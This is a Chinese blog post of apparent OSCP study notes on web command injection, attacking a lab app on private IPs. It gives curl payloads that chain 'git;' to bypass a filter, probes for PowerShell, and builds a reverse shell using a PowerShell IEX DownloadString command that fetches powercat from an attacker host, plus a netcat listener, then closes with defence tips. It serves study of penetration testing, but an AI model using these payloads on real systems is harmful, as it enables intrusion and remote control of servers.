4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.4 命令注入漏洞](#1.4 命令注入漏洞)

[1.4.1 命令注入基础](#1.4.1 命令注入基础)

[1.4.2 寻找命令注入点](#1.4.2 寻找命令注入点)

1.识别命令注入点

2.测试验证

[1.4.3 继续尝试其他命令可否被注入](#1.4.3 继续尝试其他命令可否被注入)

1.初步尝试:基础命令注入(失败)

2.巧妙绕过:利用白名单命令(成功)

3.组合攻击:串联命令执行(成功)

4.环境探测:确定执行上下文(成功)

5.攻击总结与发现

6.核心漏洞成因

[1.4.4 利用命令注入获取反向Shell](#1.4.4 利用命令注入获取反向Shell)

[1.准备攻击载荷:设置Powercat Web服务器](#1.准备攻击载荷:设置Powercat Web服务器)

2.设置接收端:开启Netcat监听器

3.构造命令:让目标去下载Powercat脚本并执行

4.执行攻击:URL编码并注入

5.验证攻击结果

6.防御建议

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++获取系统访问权

  • ⚡ 命令注入 - 在输入中++注入系统命令++ 执行**---(本文)**


1.4 命令注入漏洞

命令注入漏洞是Web应用程序中一种严重的安全威胁,允许攻击者通过应用程序执行未经授权的操作系统命令。

1.4.1 命令注入基础

Web应用程序 通常需要与底层操作系统交互,主要有两种方式:

交互方式 安全性 开发复杂度 适用场景
🛡️ 预定义API 高安全性 高(需大量开发时间) 稳定、标准化的操作
⚡ 直接用户输入 风险较高 较低 需要灵活性的场景

🔄 交互机制对比

1. 通过预定义API交互

  • 安全性高:行为固定,用户输入无法直接改变底层操作

  • 稳定性强:经过严格设计和测试

  • ⚠️ 开发成本高:需要大量时间规划和开发

2. 直接接受用户输入

  • ⚠️ 风险较高:需要严格的输入验证和过滤

  • 灵活性好:能够应对各种复杂场景

  • 🔒 必须进行净化处理:防止恶意输入影响系统安全,例如:

禁止文件名中出现**../ 或 `、&`** 等特殊字符。

将文件名中的**< 转义为 &lt;** ,或将空格 转换为下划线**_**。

1.4.2 寻找命令注入点

🎯 实战演示:Mountain Vaults应用程序

  • 系统:MOUNTAIN系统

  • 端口:8000

  • 应用:"Mountain Vaults" Web应用程序

  • 访问地址http://192.168.50.189:8000

🔎 漏洞发现过程

1.识别命令注入点

应用程序提供git克隆功能,用户可输入git clone命令,如上图:

复制代码
git clone [repository_url]
2.测试验证
  • 操作:尝试克隆ExploitDB存储库

  • 方法:通过应用程序表单输入命令

  • 结果:成功开始克隆过程

📊 渗透测试分析

🔍 Burp Suite抓包分析

阶段 关键发现 安全影响
请求分析 使用POST请求,输入框的命令 通过archive参数传递 ⭐⭐⭐⭐⭐
响应分析 响应内容与Web页面一致,显示命令执行结果 ⭐⭐⭐⭐

💡 关键发现总结

  • 注入点archive参数是命令输入点

  • 执行机制:操作系统直接执行输入的字符串

  • 回显机制:响应数据展示命令执行结果

⚠️ 安全风险等级评估

风险因素 等级 说明
直接系统命令执行 🔴 严重 可完全控制系统
输入验证缺失 🔴 严重 无有效过滤机制
结果直接回显 🟡 中等 便于攻击者验证
综合风险等级 🔴 严重 需要立即修复

1.4.3 继续尝试其他命令可否被注入

【思路】 既然**"git clone...**"作为"Archive"的参数被服务器执行。那么,尝试使用curl注入诸如ipconfig、ifconfig和hostname等任意命令看是否被执行以探测此处的执行权限。

我们现在到Burp的HTTP历史记录,以了解POST请求的正确结构:Archive=命令参数

攻击步骤详解

1.初步尝试:基础命令注入(失败)

首先尝试执行一个简单的系统命令 ipconfig 来探测漏洞。

$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

// **-X参数:**请求类型更改为POST;

// **--data:**指定在POST请求中发送的数据。

  • 结果命令注入被拒绝、中止

  • 结论: 目标存在基础防御机制,直接注入系统命令行不通。

🔍 关键发现: 应用程序有命令过滤器,但需要找到其弱点。

2.巧妙绕过:利用白名单命令(成功)

由于之前 git clone 命令成功执行,攻击者推测 git 本身可能是一个被允许的"白名单"命令。

  • 结果成功返回了 git 命令的帮助页面

  • 结论 : 确认 git 命令可以被执行,这成为了后续攻击的"跳板命令"。

为了进一步获取系统信息,尝试执行:

  • 结果: 从输出中看到 "Windows" 。(若Web程序在Linux上运行,只会显示Git的版本。)

  • 结论确认Web应用程序运行在Windows操作系统上

3.组合攻击:串联命令执行(成功)

【思路】现在我们使用试错的方法 来不断探索过滤器并查看允许的内容。既然git 命令可被执行,使用命令分隔符 允许的 git 命令和我们想执行的任意系统命令组合起来。

  • 攻击载荷git; ipconfig

  • URL编码后git%3Bipconfig

  • 结果两个命令都成功执行了! 既显示了git帮助,也返回了ipconfig的网络信息。

攻击逻辑流程图:

4.环境探测:确定执行上下文(成功)

为了更精确地实施攻击,需要知道命令在什么环境中执行(是CMD 或 PowerShell?)。

  • 攻击载荷1git; echo "Powershell:$PSVersionTable" (这是一个用于判断PowerShell环境的命令)

  • URL编码后git%3Becho%20%22Powershell%3A%24PSVersionTable%22

bash 复制代码
curl -X POST --data 'Archive=git%3Becho%20%22Powershell%3A%24PSVersionTable%22' http://192.168.50.189:8000/archive

或者,

  • 攻击载荷2(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell (这是一个用于判断当前的执行环境是cmd还是PowerShell的命令)

  • URL编码后
    git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell'

    bash 复制代码
    curl -X POST --data 
    'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell' http://192.168.50.189:8000/archive
  • 结果: 输出中结果是"cmd"还是 "PowerShell" 。

  • 结论确认注入的命令在PowerShell环境中执行

5.攻击总结与发现
步骤 操作 命令/载荷 结果 关键发现
1 基础探测 ipconfig ❌ 失败 存在基础过滤器
2 白名单利用 git ✅ 成功 git是跳板命令
3 系统识别 git version ✅ 成功 系统为Windows
4 命令串联 git; ipconfig ✅ 成功 分隔符;可绕过过滤
5 环境识别 git; echo ... ✅ 成功 执行环境为PowerShell
6.核心漏洞成因

该Web应用的命令注入过滤器存在逻辑缺陷 。它可能采用了简单的"白名单"策略,允许包含 git 的指令通过,但未能有效过滤命令分隔符(如 ;, &, && ,导致攻击者可以将恶意系统命令"挂载"在合法的 git 命令之后执行。

💡 防御建议

  • 永远不要通过拼接字符串的方式构建系统命令。

  • 如果必须执行命令,应使用严格的、预定义的参数映射,而非直接传递用户输入。

  • 使用经过安全审核的API来替代系统命令的执行。


1.4.4 利用命令注入获取反向Shell

在确认存在命令注入漏洞并了解其执行环境后,攻击进入利用阶段,目标是获取一个交互式的反向Shell,从而完全控制目标系统。

攻击环境配置:

  • 攻击者IP192.168.119.3 (Kali Linux)

  • 目标URLhttp://192.168.50.189:8000/archive

  • 工具: Powercat (PowerShell版的Netcat)、Netcat、Python HTTP服务器

完整攻击链可视化:

1.准备攻击载荷:设置Powercat Web服务器

在Kali的第二个终端中,启动一个HTTP服务器来托管Powercat脚本:

🎯 目的: 创建一个让目标系统能够下载Powercat脚本的渠道。

使用Powercat脚本创建一个反向shell。Powercat是Kali中包含的Netcat的PowerShell实现。

bash 复制代码
# 将powercat.ps1复制到当前目录(如需要)
kali@kali:~$ cp /usr/share/powershellempire/empire/server/data/module_source/management/powercat.ps1 .

# 启动Python HTTP服务器
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
2.设置接收端:开启Netcat监听器

在Kali的第三个终端中,开启一个Netcat监听器,等待反向连接:

bash 复制代码
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
  • -n: 不进行DNS解析

  • -v: 详细输出

  • -l: 监听模式

  • -p 4444: 指定监听端口

🛑 关键点 : 这个监听器将作为"接收端",等待目标系统主动连接回来。

3.构造命令:让目标去下载 Powercat脚本并执行

利用已发现的命令注入漏洞,构造一个能下载并执行反向Shell的命令:

**原始PowerShell命令:**以下命令是在目标服务器上执行。

bash 复制代码
git; IEX (New-Object
System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c
192.168.119.3 -p 4444 -e powershell
复制代码
命令分解说明:
组件 功能 说明
git; 绕过过滤器 利用白名单命令通过初步检测
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.119.3/powercat.ps1"); 下载攻击载荷 从攻击者服务器(http://192.168.119.3/powercat.ps1)下载Powercat脚本到内存并执行
powercat -c 192.168.119.3 -p 4444 -e powershell 建立反向连接 连接到攻击者的监听端口,提供PowerShell会话

详细说明:

组件 类型 功能描述 备注
IEX PowerShell cmdlet Invoke-Expression - 执行字符串中的PowerShell代码 🚨 高危命令:直接执行任意代码
New-Object System.Net.WebClient .NET类实例化 创建一个WebClient 对象,用于从Web下载内容 提供HTTP/FTP下载能力
.DownloadString() 方法调用 从指定URL下载文本内容(返回字符串) 将远程脚本加载到内存中
"http://192.168.119.3/powercat.ps1" URL参数 攻击者控制的Powercat脚本地址 包含反向Shell功能的PS1文件
powercat 主命令 - Netcat的PowerShell实现,专门用于网络操作
-c 客户端模式 192.168.119.3 指定要连接的攻击者IP地址
-p 端口号 4444 指定攻击者监听的端口号
-e 执行程序 powershell 指定连接成功后要启动的程序(这里是PowerShell)

连接建立过程:

  • Powercat作为客户端连接到指定IP和端口(攻击者的)

  • 在连接上启动PowerShell进程(目标服务器上)

  • 将PowerShell的输入/输出重定向到网络连接

  • 攻击者获得交互式PowerShell会话

4.执行攻击:URL编码并注入

对攻击命令进行URL编码后通过curl发送:

bash 复制代码
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(NewObject%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat
.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' 
http://192.168.50.189:8000/archive
5.验证攻击结果

**在第二个终端(Web服务器)中:**powercat.ps1脚本被目标服务器下载。

确认: 目标系统成功下载了powercat.ps1文件

在第三个终端(Netcat监听器)中:

确认成功获得反向Shell,现在可以在目标系统上执行任意命令。

**此外,**也可以直接注入PowerShell反向shell,而不是使用Powercat,有许多方法可以利用命令注入漏洞。

替代攻击方法:

  • 直接使用PowerShell内置命令建立反向Shell

  • 使用其他脚本语言(如Python、PHP)如果环境支持

  • 上传Web Shell文件实现持久化访问

6.防御建议
  • 实施严格的输入验证和命令白名单

  • 禁用不必要的PowerShell执行权限

  • 配置网络防火墙限制出站连接

  • 使用Web应用防火墙(WAF)检测命令注入模式

  • 定期进行安全代码审计和渗透测试


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
盛满暮色 风止何安4 小时前
网络安全设备 防火墙
服务器·网络·网络协议·计算机网络·安全·web安全·网络安全
合作小小程序员小小店14 小时前
Web渗透之一句话木马
web安全·网络安全·安全威胁分析·安全架构·安全性测试
源文雨1 天前
MacOS 下 Warp ping 局域网设备报错 ping: sendto: No route to host 的解决方法
运维·网络协议·安全·macos·网络安全·ping
独行soc1 天前
2025年渗透测试面试题总结-102(题目+回答)
网络·安全·web安全·网络安全·adb·渗透测试·安全狮
余防2 天前
bypass--绕Waf
安全·web安全·网络安全
介一安全2 天前
【APK安全】Android 权限校验核心风险与防御指南
网络安全·安全性测试·apk安全
lingggggaaaa2 天前
小迪安全v2023学习笔记(九十五讲)—— 云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
笔记·学习·安全·web安全·网络安全·docker·云原生
vortex52 天前
WebDAV 与 SMB 在钓鱼攻击中的区别
windows·网络安全·渗透测试
北京耐用通信3 天前
耐达讯自动化Modbus RTU转Profibus,让电磁阀连接从此与众不同!
网络·人工智能·网络协议·网络安全·自动化